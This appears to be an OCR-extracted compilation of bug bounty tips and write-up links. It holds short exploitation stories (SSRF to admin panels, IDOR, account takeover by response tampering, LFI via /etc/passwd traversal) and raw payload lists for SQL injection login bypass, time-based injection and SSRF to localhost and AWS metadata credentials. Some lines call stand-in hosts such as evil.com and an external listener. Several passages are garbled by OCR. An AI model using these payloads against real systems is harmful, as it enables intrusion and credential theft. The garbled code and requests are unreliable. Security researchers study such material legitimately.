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Smallest vulnerability finding

| was testing for SST1 on http://site.com/p?kod={5*5}
Got server error
Analyzed Found = /rev/config.json
Implementation P1 vulnerability API keys , DB name, password Happy hunting

Bug bounty tip
e Register as company mail
e DO INTERCEPT>Response to this request Change 401 Unauthorize to 302 Found

e Success company dashboard

Check each page and status from site

Check each page and status from site

e Use site crawling to enumerate all pages and MIME type
e Experience: Found .xml file in GET

e Method changed from GET to POST

e Maria db access key found

e Password reset flaw

https://link.medium.com/OVvYaKLng3

https://link.medium.com/HZpTPtR2F3

https://link.medium.com/bpYhuYR2F3

https://link.medium.com/5PnwoRS2F3

https://link.medium.com/A67jalT2F3

https://thezerohack.com/hack-instagram-again

https://ninadmathpati.com/how-i-was-able-to-earn-1000-with-just-10-minutes-of-
bug-bounty

https://link.medium.com/MgdJoyY2F3
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http://site.com/p?kod=%7b5*5%7d
https://t.co/jGpEwy3Lpt?amp=1
https://t.co/Cq3rHAIid1?amp=1
https://t.co/OJiiXUZgWS?amp=1
https://t.co/rJGr1hRtlw?amp=1
https://t.co/1aYPhHoW2U?amp=1
https://t.co/ufBZWGwptT?amp=1
https://t.co/t3HFbNtXa5?amp=1
https://t.co/t3HFbNtXa5?amp=1
https://t.co/i1PQ79EJHA?amp=1

https://link.medium.com/iRVW]s02F3 https://link.medium.com/roeUih12F3

e RCE story

http://1.site.com/admin
Forbidden
2.HTTP header in request - Login page access
3. Sqli queries tried no success
4. Some recon on gitlab - Found base64 pwd - decrypt
5. Accessed admin panel
6. Admin panel customized - CLI available
7. File read successful
e Takeover story of repo
1.A site having github logo
2. Example: Click on logo it'll show you git repo(http://github.com/site/)
3. In my case, It was 404
Main part

4. Created git account with name of company, So it was like
http://github.com/site/

Successful takeover
e Story of SSRF
SSRF to admin access

1. http://1.Target was like this-> http://Site.com/users/view/data?uri=
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https://t.co/uY7UkHi2Mf?amp=1
https://t.co/LpkUySCXf1?amp=1
http://site.com/users/view/data?uri

2. Fetching data from internal resources so | tried uri=http://0.0.0.0,
Got default internal page .

3. Here is exploit uri=http://0.0.0.0/administrator/dashboard. No auth
on admin

e HTMLi to Account Takeover

1. Site was having article where user can comment so simply | used <h1> tag
for test - Success.
2. Chain time
- Generated CSRF poc of E-mail change and removed csrf token from it and
pasted that code in comment
3.Button created in comment.
Click

e Validation vulnerability

Functionality: After verifying username it goes to account dashboard
1.Found admin username

2. GET request with verified=false , | changed it to true but response is 403
forbidden.

3. So | changed response to 302 Found /dashboard

site.com/emailid=admin@site.com&verified=false
Changed to true->403 Forbidden
Response charged to 302 Found /dashboard

Tip: While hunting 1st use website as normal user and understand each
function, Then hunt

e Information disclosure:
1. Site having large scope so | thought lets test for DL
2. Used Google Pentest Tools for DL
3. Found multiple directory in the last there was config folder containing
data.yaml file
4. That file was disclosing Jenkins credentials
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Sxxxx for mini recon
Dork-> site:http://target.com intitle:index.of
e Free coupon bug

Functionality was you can claim coupon using email

1.GET request with email parameter response in json

2. Sent request to intruder and started bruteforce on E-mail

3.200 OK json response disclosed Coupon code , email id and phone number
4. Reported - valid - Sxxx

e Data exposed via xml file

1. http://Site.com using almost 70% xml ent

2. Burp fired and found some normal xml ep

3. In one ep there is keywords like this- /main/wsdl/machine.xml
4. Open with http://site.com/main/wsdl/machine.xml

5. Found root password.

P1in 2 minutes

e Parameter based API Key revoke -P1 story
1.1 was just checking account profile section, it was like
http://site.com/v1/user/aditya.bug?action=view key

2. It means it was showing my API key so | just tried to change username like
aditya.bug to my another username and boooom keys are shown in json

e Redirection bypass
1.http://1.Site.com/action/raw_user?uri=
2. l used simple https://evil.com,

Response 403 forbidden

3. Time for bypass.
4. uri=°/https://evil.com

Bypassed successfully

| used ° to override keyword for bypassing where function is to blacklisting
first few keywords
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http://site.com/v1/user/aditya.bug?action=view_key

e Recon gawd
1. http://1.Site was using some db hosting services

2. Started subfinder for subs and | used http://httpstatus.io for response
code

3. Found one IP where weird function was visible

4. Downloaded DB and found admin password

e Top 25 IDOR Bug Bounty Reports

https://medium.com/@corneacristian/top-25-idor-bug-bounty-reports-ba8cd59ad331

Blind IDOR in LinkedIn iOS applicatio

https://hailstorm1422.com/linkedin-blind-idor

#IDOR leads to Data leakage and Profile Update

https://victoni.github.io/changing-userID-leads-to-data-leak

Vimeo Livestream Bug Bounty WriteUp

https://medium.com/bugbountywriteup/vimeo-livestream-bug-bounty-writeup-13fd208b5f4f

e RCE for life

$S5S+55S Bonus

1.Started knockpy for scan

2.Found odoo service IP

3.Checked response in http://httpstatus.io
4. 302 redirect

5.Redirected to jenkins instance

6.Unauthorized access to CLI terminal
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https://medium.com/@corneacristian/top-25-idor-bug-bounty-reports-ba8cd59ad331
https://hailstorm1422.com/linkedin-blind-idor
https://victoni.github.io/changing-userID-leads-to-data-leak
https://medium.com/bugbountywriteup/vimeo-livestream-bug-bounty-writeup-13fd208b5f4f

7. Command id

Note: Always check 302 redirects

e SSRF at verify link

Function was you can test link is dead or not

1. Octal encoding - 0x7f.0x0.0x0.0x1

3.1 used that encoding for bypass and lastly :80 port scan

3.0x7f.0x0.0x0.0x1/administrator/dashboard

Used HTTP header for unauthorized access

SSRF to admin access

e Delete bypass

1. A request was passing through specific syntax
2. delete "username:aditya.bug" , "id:123",

3. In last I've found there no verification parsing so | added manually to check it
working or not

"delete: true"

4: 302 redirect-> Deleted

e Payloads para sql inyection login bypass
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n nmon

or
"or true--

"or true--

admin' --

admin' #

admin'/*
admin'or '1'="1
admin' or '1'="1"--
admin'or '1'="1'#
admin'or 1=1 or "=’
admin'or 1=1
admin' or 1=1--
admin' or 1=1#

admin' or 1=1/*

e Useful GitHub Repos :

1. Book of Secret Knowledge = https://Inkd.in/fWKCdi4

2. Awesome Hacking = https://Inkd.in/f7VPTEX

3. Awesome Bug Bounty = https://Inkd.in/fPrQivVD

4. Awesome Penetration Testing = https://Inkd.in/fAUZgu5

5. Awesome Web Hacking = https://Inkd.in/f5n2hSd

e CSRF for disabling 2FA

1. Capture request in burpsuite
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https://lnkd.in/fWKCdi4
https://lnkd.in/f7VPTEX
https://lnkd.in/fPrQiVD
https://lnkd.in/fAUZgu5
https://lnkd.in/f5n2hSd

2. Engagement tools> Generate CSRF POC
3. Pass null chars in token value so function will over-ride (submit 2 times)
4. Submit twice for overriding

5. 2FA disabled

e Ext SSRF for 600$
1. Sign in to website
2. Perform any action
3. Now logout and observe the logout request (mine was azure services)

4. Parameter : logout_path=

| used dict://evil.com:80
What is dict ?

DICT URL scheme is used to refer to definitions or wordlist via protocol

e Account takeover worth $$5$
1. Created account on website using test mail id
2. Upload private document like resume and photos

3. Same site having android app > Created account using same mail id but
different password

4. Boom account created and able to see private documents

e Rate limit to delete any comment (Simple)
1. In article you can add, report comments
2. Comments having option report

3. Click on that , It shows form to report comment
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4. Requested repeated 100 times but at the 65 comment later response was 404
not found

Comment deleted

rewarded for

No limit at creating report for another user comments .

amount

$150.00

e Function : You can subscribe to channel
Exploit:
1. Subscribe to channel using username and capture the request of SUBMIT
2. Send it to intruder and remove auth_token param with token
3. Started attack for 250.

4. Check channel profile= 250 subscribers

e SAML Security Testing Tutorial:

1 - https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/

2 - https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-
part-two/
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https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/

3 - https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-
part-three/

Surface: https://github.com/kelbyludwig/saml-attack-surface

Examples:

- http://secretsofappsecurity.blogspot.com/2017/01/saml-security-xml-external-entity-
attack.html

- https://seanmelia.wordpress.com/2016/01/09/xxe-via-saml/

- https://hackerone.com/reports/136169

e account takeover
1.1 account logged in 2 browsers
2. Tried signup with same account but showing email exist and redirect to signup page
3. In Firefox captured request of sign up submit >Do intercept > Response > Email exists
4. Response changed to E-mail available >302 found /dashboard. Account created
5. Change profile data
6. Refresh in chrome and data changed

Note: | didn't mention some things because | want you to implement your logic and do it by yourself.

e RCE reports

https://hackerone.com/reports/591295
https://hackerone.com/reports/470520
https://hackerone.com/reports/181879
https://hackerone.com/reports/351014
https://hackerone.com/reports/658013
https://hackerone.com/reports/403417
https://hackerone.com/reports/631956

Nou,swNE

e SSRF write-ups

https://medium.com/a-bugz-life/exploiting-an-ssrf-trials-and-tribulations-14c5d8dbd69a
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https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
https://github.com/kelbyludwig/saml-attack-surface
http://secretsofappsecurity.blogspot.com/2017/01/saml-security-xml-external-entity-attack.html
http://secretsofappsecurity.blogspot.com/2017/01/saml-security-xml-external-entity-attack.html
https://seanmelia.wordpress.com/2016/01/09/xxe-via-saml/
https://hackerone.com/reports/136169
https://hackerone.com/reports/591295
https://hackerone.com/reports/470520
https://hackerone.com/reports/181879
https://hackerone.com/reports/351014
https://hackerone.com/reports/658013
https://hackerone.com/reports/403417
https://hackerone.com/reports/631956
https://medium.com/a-bugz-life/exploiting-an-ssrf-trials-and-tribulations-14c5d8dbd69a

https://medium.com/@michan001/ssrf-on-pdf-generator-36b81e16d67b

https://ngailong.wordpress.com/2019/12/19/google-vrp-ssrf-in-google-cloud-platform-

stackdriver/
https://medium.com/@dPhoeniixx/vimeo-upload-function-ssrf-7466d8630437

https://medium.com/@pflashOx0punk/ssrf-via-ffmpeg-hls-processing-a04e0288a8c5

https://kntx.xyz/Blind-SSRF-due-to-Sentry-Misconfiguration/

https://iinOne.blogspot.com/2019/11/bugbhounty-simple-ssrf.html

https://openbugbounty.org/blog/leonmugen/ssrf-reading-local-files-from-downnotifier-server/

https://evanricafort.blogspot.com/2019/08/ssrf-vulnerability-in.html

https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-
protocol-26a26d0ec2cb

e Open access to Internal management console.

1. site having pretty good scope to test.

2.Started with google dorks, Basically index dir

3. site with some directories but not able to access

4. Dirsearch started with json,php, aspx

5. Php found but no success

6. On manual observation found basic console button under that php files > Click > Yooo

6. Too much sensitive data
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https://medium.com/@michan001/ssrf-on-pdf-generator-36b81e16d67b
https://ngailong.wordpress.com/2019/12/19/google-vrp-ssrf-in-google-cloud-platform-stackdriver/
https://ngailong.wordpress.com/2019/12/19/google-vrp-ssrf-in-google-cloud-platform-stackdriver/
https://medium.com/@dPhoeniixx/vimeo-upload-function-ssrf-7466d8630437
https://medium.com/@pflash0x0punk/ssrf-via-ffmpeg-hls-processing-a04e0288a8c5
https://kntx.xyz/Blind-SSRF-due-to-Sentry-Misconfiguration/
https://jin0ne.blogspot.com/2019/11/bugbounty-simple-ssrf.html
https://openbugbounty.org/blog/leonmugen/ssrf-reading-local-files-from-downnotifier-server/
https://evanricafort.blogspot.com/2019/08/ssrf-vulnerability-in.html
https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol-26a26d0ec2cb
https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol-26a26d0ec2cb

12:58 il il = 2218, 3@}

O _icom (4

Browse Index | Browse Storage

“% Refresh Path Lookup: XL

BRI
@ (_Jantlr
(# [_Jaopalliance
@ (Jcglib
@(Jch
@ (Jcom
& (] commons-beanutils
@ [_J commons-cli
@ () commons-codec
# [_) commons-collections
# () commons-configuration
# () commons-dbcp
[# (] commons-digester
@ (] commons-httpclient
# [_) commons-io
& () commons-lang
@ (] commons-logging
[# () commons-net
(# (_) commons-pool
@ () crf-spark
® (dk
# [ 1domd4i

1. site:http://site.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt
| ext:ora | ext:ini

2. site:http://site.com intitle:index.of

e Account takeover
Function: You can reset link to email or phone
1. Captured request of reset link via phone number ("number:xxxx")

2. Added same parameter with different number
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3. Do intercept> Response t this request = Reset link sent on 1234, Reset link sent on 4567

4. Got link on both numbers

5. Both link worked

e Hidden Parameters:

ubuntu@ubuntu:~/oldarjun/A
.yahoo.com/

n$ time python3 arjun.py -u https://

Analysing the content of the webpage
Analysing behaviour for a non-existent parameter
Reflection
Response Code:
Content Length:
Plain-text Length
Parsing webpage for potential parameters
pPerforming heuristic level checks
Scan Completed
Valid parameter found: partner
0m38,569s
omo, 5065
om0 ,429s
ubuntu@ubuntu:~/

e Time based
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
') or sleep(5)="'
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
'-waitfor delay '0:0:5'--
"-waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--

");waitfor delay '0:0:5'--

https://t.me/learningnets

Prioritizing it
Heuristic found
Prioritizing it
Heuristic found
Prioritizing it
Heuristic found
Prioritizing it
Heuristic found
Prioritizing it
Heuristic found
Prioritizing it

] Heuristic found

Prioritizing it
Heuristic found
Prioritizing it
Heuristic found
Prioritizing it
Heuristic found
Prioritizing it

a3

a

a

a

a

a

a

a

potential
potential
potential
potential
potential
potential
potential
potential

potential

parameter:

parameter:

parameter: pt-BR
parameter: fr-
parameter: de-

parameter: e

parameter:
parameter:

parameter:

Performing heuristic level checks

Scan Completed

Valid parameter foun
Valid parameter found

em19,469s
omo,156s
ome,163s

ubuntu@ubuntu:~/




));waitfor delay '0:0:5'—

e Generic Error Based Payloads

OR 1=1
OR 1=0
OR x=x
OR x=y
OR 1=1#
OR 1=0#
OR x=x#
OR x=y#
OR 1=1--
OR 1=0--
OR x=x--
OR x=y--

OR 3409=3409 AND ('pytW' LIKE 'pytW
OR 3409=3409 AND ('pytW' LIKE 'pytY
HAVING 1=1
HAVING 1=0
HAVING 1=1#

HAVING 1=0#

HAVING 1=1--

HAVING 1=0—
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#onliner to extract endpoints from JS files of a given host #BugBountyTips

Wrapped present

Regexp dependant so highly improvable!

https://gist.github.com/gwen001/0b1571

§ curl -L -k -s http ww . facebook ¢ JHNf# | egrep -0 "s 1 ESED 1
(length($2))print "http | sort -fu | xargs -I sh rl -k -s \"%\" | sed \" \)=1/An/g\" | grep -Po \"(\>\>\>)|(["\\\"](https?
( As*L W T (https?:) 7 [/ VWIS PN | awk -F "[vt]" t{print $2}' | sort -fu

fajax/mercury/threadlist _info.php /games
fgames/moderation rules nux/
games/web
/typ.php gaming/moderator/
_friends/tooltip.php ifs/in_live comment/
navigation/
f

3C/ s\ E E / / / emove/dialog/
trans /
flinearGradient®

groups/member_connections/log_intent/
verstore logging.php groups/mutemember/
ession_logging.php /hashtag/
ave/ lp/111814505650678
547
E /56813749330
/delete, og.php
hoto/edit/skiptag/
fmove/dialog.php
rotate,
tags/fetch_datasource.php
ags/tags_album.php
/tags/tags_init.php C
L omedia.com/get/flashplayer/current/
ernal_tracking_tag/ / Jedi : aph. fac .com/
fgrowth, mt/multi as icky/ / ati . i . book.com/intern/invariant,
ads/settings init. L . / /error-decoder. htm
essib / i /tag_waterfal
aterfall.php . dn.net/hads-ak-prn2/1487645
;

areers/?ref=pf
81183045316843
ublisher/1422789

php i
overcard/sidebar.php
at/imps_logging.php registratio
at/opentab tracking.ph| /e registratio

e Able to download anyone's report

Function: You can create on own report and after that you can download it via csv or txt file

1. Go to report section

2. Download option-> Click on txt

3. Capture request > Do intercept > Response to this request
4. Username & Filename disclosed

5. Format :- aditya-1.txt

6. Changed aditya to other username (eg: jonas-1.txt)
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https://gist.github.com/gwen001/0b1571

7. It was downloading jonas 1st report

e Wildcard bypass & LFI
1. Intercepted a POST req that pointed to a local file "/usr/local/redacted/filename"
2. tried "/etc/passwd" -> bad request
3. "/user/local/../../etc/passwd" -> bad request
4. "/user/local/redacted/../../../etc/passwd" -> OK

5. LFI & bounty

[ Dashboard | Target | Proxy | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options | JSON Beautfier | JSON Web Tokens | Reflection | Flow | Hackvertor |

77 78 79 80 81 | 82 [ 8 1 84 T 85 I 86 T 87 T 89 | 90
[91« [ o2+ [e3« [9a [ o5 [ 96+ [07« [98~ | 99« | 100 « | 102 « | 103 « | 104 « | 106 « | 108 « | 111 « | 112 « | 113 « | 114 « | 115 « | 117 ~ | 118 « | 119 ~ | 320 |

Request Response

Raw [ Params | Headers | Hex | Hackvertor Raw | Headers | Hex [ JSON Beautifier | Hackvertor |

L L
v
D [<][+][> X omaches | @ [< [+ ][> ' 0 matches

Done 2,152 bytes | 253 millis

e Some keywords you must search and focus while hunting:
API
Token

.json
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js
File
saL
key
path
verify

false/true

e Two Factor Authentication writeups:-

https://t.me/learningnets

https://link.medium.com/FIRrM4JI05

https://link.medium.com/tKgQY1MI05

https://link.medium.com/ne4pwo0I05

https://link.medium.com/hhdBnCPI05

https://link.medium.com/YFLGk4QI05

https://link.medium.com/rmI43ESI05

https://link.medium.com/ds1k5XTI05

https://link.medium.com/35ljaPVI05

https://link.medium.com/4150R4XI05



https://link.medium.com/FIRrM4Jl05
https://link.medium.com/tKqQY1Ml05
https://link.medium.com/ne4pwoOl05
https://link.medium.com/hhdBnCPl05
https://link.medium.com/YFLGk4Ql05
https://link.medium.com/rml43ESl05
https://link.medium.com/ds1k5XTl05
https://link.medium.com/35IjaPVl05
https://link.medium.com/4l50R4Xl05

000

Some best approaches for account takeover
@ehsayaan on Twitter....

References from @_jensec @HusseiN98D

. Password Reset Functionality

* Try Adding victim@email.com,attacker@email.com
or victim@email.comé&bcc:attacker@email.com or repeat email parameter by adding ‘&

* Check Response if token is getting leaked or not.
. Social Sign-On
x See If there is any email paramter on social sign-on and try to manipulate it.
Try Removing Email From Scope and Add Victim's Email Manually.
3. Password or Email Change function.
* Try Changing P ) - See if there's an email paramter in password change request
Try changing your email to existing victim's email
. Sign-UP Function
* Try Sign-Up Using Existing(victim) Email, you might end up logging into victim's account.
* Use Phone Number intead email in 3rd party sing-up then link victim's L to your account
If you have suggestions, Please follow-up in this thread.

Thanks !!!

Unauthorized access to event mgt system:

Function- You can create public or private invents

1. site. com/xyz/username?view=current_events

2.Change username and forward request

3. Able to just view title, date created and event owner name
4. Escalated to access via manual headers

5. Used X-Rewrite-URL: /current_events

6. Forward request . Now able to see full event data
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7. For performing every step | need to add X-Rewrite-URL: /action_here

Tip: Always add headers to bypass single based verification on sensitive action.

P2 marked as P1

Postgresql conf data disclosure

1. Site with bulky functions

2. Started long fuzzing via burp

3. Found some juicy points but no idea what to do next
4. Started URL fetching and dirsearch

5. Multiple dir found

6. Conf file disclosed critical information

Name Last modified Size Desc

Parent Directory. ;

PG VERSION 2020-01-14 20:12 3
pg_hba.conf 2020-01-14 20:12 342
pg_ident.conf 2020-01-14 20:12 1.6K

postgresqgl.auto.conf 2020-01-14 20:12 88
postgresql.conf 2020-01-14 20:12 22K
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e SSRF

https://hackerone.com/reports/341876

https://hackerone.com/reports/514224

https://hackerone.com/reports/793704

https://kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-
Consul.html

Resource to learn:

https://github.com/cujanovic/SSRF-Testing

e Tips: Smuggler

# python3 smuggler.py -u https://www.

ON BOTH LENGTH 6 AND 5

TECL TIMEOUT ON BOTH LENGTH 6 AND 5

TECL TI ON BOTH LENGTH 6 AND 5

Tip: If you found any password on github but program isn't accepting data from github or any
third party try to look password in your target only .

Example:

Password:"agwsed123"
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https://hackerone.com/reports/341876
https://hackerone.com/reports/514224
https://hackerone.com/reports/793704
https://kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
https://kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
https://github.com/cujanovic/SSRF-Testing

Simple Google dork

" http://target.com" agwsed123

e SSRF payloads
http://[::]1:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ http://192.168.0.1
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
HTTP
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80

ssrf.php?url=http://127.0.0.1:443
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e Sentry Blind SSRF

e (https://hackerone.com/reports/374737

e /https://medium.com/@0ktavandi/blind-ssrf-in-stripe-com-due-to-sentry-
misconfiguration-60ebb6a40b5)

1. cat aquatone/*/urls.txt | grep sentry

2. Burpsuite

3. Send it to Repeater

4. Change the value of filename: to a http://postb.in url (or similar)

5. Wait for a connection

POST /api/4/store/Z?sentry versione7ssentry clientsraven-)siZF3.21.0ksentry Xey=35e&0cdS2ca0dd9b8a642b949213a6ac HTTR/1.1
Host: sentry.blog.it-securitygquard.conm

User-Agent: Mozilla/5.0 (X11; Ubunty; Linux X86_64; =v:63.0) Gecko/2010010! Firefox/63.0

Accept: */
ATCept- L:nquaq(- en~US,enjqnod.5
Accept-Bacoding: gzlp, deflate

Roferoxr: htepa://bleg.it-securityguard.con
content«type: text/plain;charsetsUIF.-8
origin ttps: //blog.it-securityguard.com
Content-length: 2445

Connection: close

{“project 4° , )o:;rmr ."avas\npt platform™: " javascript”, “request” .{ headers”;
Gocko/20300101 fox/63.0"},"wrl" ttpd: bluq. t-socuritygu
undefined”, stac ace”:{"frames”:{("filoname": 'n.'p \/\/poath. pbedet ) o
me®t*hteps:// -sccuuy-'...ud coa'.xb: min.js",“linenoc" 14, " calno ‘9\.59, .unl:uon
wvord.com/libs.min, 38", "Lineno® : 4, "colno”
m 4, colno e.au, function”™

L-ior-N;cnt i w\nl ;7 Ubuntu; Licux x86 64; rvi6l,.0)
led rejec
!ura'xon

..Y Becurit ,1u.nd Qrm
1inenc” .1‘,'&01'».: 3
S 'Hmmo' 7, colno” 1880 G,'!\mcuor in app”:itrue),{ "filename
~securityguard. e «Js",c 2 “fu “1t*,"in_app®itrue},{“filename* q..urwunt)q,axd
1ineno": 7, "coln ion” "y app 1EEv0), £len 337 ‘blog. n-wcnxn,qun.d
“:tyve), !‘.lenm bloq.:v. securf .min.ja","lineno™:7, colno”: 93‘5
/1 ~r.)s ¢ “1inenc” 40, !u—ncuon t"Sapply
8, "function®: odu et ” n_app”itrue}, ( hlonm

function®: “captureM
. “category”: “navigation®,“data" 1 {“to";

S rexerati{ nuu.on.duran D), “breadcrunbs i { “values $42045493.84
orviow","from":"/"}} |}, "environnent” T"ovent id":"bS18¢36497854b36%03boaedibifeT5a")

e Got LFI..
1. File Upload with URL
2. Put file:///anything
3. Sent The Request.. Error

Face with raised eyebrow

4. Wait..Check Response and Got Content of Local File in Response when checked in Burp..

* Always Check Response of Sensitive Endpoints Manually.
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https://hackerone.com/reports/374737

¢ Information disclosure:-
1. subfinder -d target. com | httprobe -c 100 > target.txt got around 210 subdomains.
2. cat target.txt | aquatone -out ~aquatone/target

3. Checked every screenshot and found an interesting subdomain.

e SSRF

POST /_hcms/perf HTTP/1.0

Host: http://target.com

X-Forwarded-For: http://collaborator.net
Note:

-HTTP version changed from 1.1 to 1.0
-GET to POST. And MIME type must be txt

Remaining : Google it

e SSRF to access aws metadata
Recon: Subfinder + wayback machine + URL probe( to validate URL)
1. Got valid sub domain with multiple function.
2.Spider whole application with burp only + tools for automation check
3. Keywords | searched: url, ref, uri, callback
4. uri= found

5. uri=//169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ Always search for keywords
in burp and take help of wayback to validate

@1ndianl33t
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https://twitter.com/1ndianl33t

e While hunting for subdomain takeover check your target with following
flow.

http://target.com
http://target2.com

Change numericals

Note: Check lookup for that domain.
Worked twice for me.

You may get: STO, Information Disclosure, Open access

e Found a good ATO worth $5S.

Bug : ATO via Facebook OAuth

Description :

1. Observe the connect to Facebook link.

2. Saw that there was no state parameter in the URL. State parameter act as CSRF token.
So after that intercepted in callback request.

3. Generate CSRF poc

4. Drop the request . As token may validate if used once so better to drop it.

5. Send the exploit.html file to victim.

6. Victim opens the link and boom !! Account connected.

7. Now login with Facebook, you are in victim's account.

Resources to learn:

This was enough for me learning and exploiting the above:
https://youtu.be/9960iexHze0
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https://youtu.be/996OiexHze0

e Burp suite search keywords:
uri=
url=
key=
.json
oauth
redirect=
api
dashboard
config.
=http
&api
@ (for user based URL for ssrf)
dir
file
php_path
page
data
val
root
’q
?query
Token

e Application level DOS Confluence 7.6.2

1. Go to site, site.atlassian .net

2. Paramater with following endpoint /issues/?jql=

3. Craft any payload with it and search using jgl=

4. Final url site.atlassian. Net/issues/?jgl=your-payload
Perform same action for 5000 times .

You may need to perform it for more time. Until you get dos response. 1st
check the version of confluence,

Do it on your own responsibilities

e Enclosed alphanumeric payloads for SSRF

http://©0@MP)(1DE).©O@0) = http://example.com
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List:

DQPBDEO®DO®Q@WH @MW @® WM I® W ®M)(2)(3)4) ()
(6)(7)(8)(9) (10) (1) (12 (13 (14) (15) (16) (17) (18) 19) 20) 1. 2. 3. 4. 5. 6. 7. 8. 9. 10.
11.12.13.14.15.16.17.18.19.20. (a) (b) (c) (d) (e) (f) (&) (h) (i) (i) (k) (1)

min) (o) (P) (@) (r) (s) (t) (U) (v) W) (x) (¥) (2) ® B® © O ® ® @
GDEONONCR®

™
NOPAROIDLVVWRXYVY2@OWDE®®®
ODOOPWOOOOPOOODOWOLWWXY DO
POOPOPODPDODODDOOB®

http://819.0.0.%
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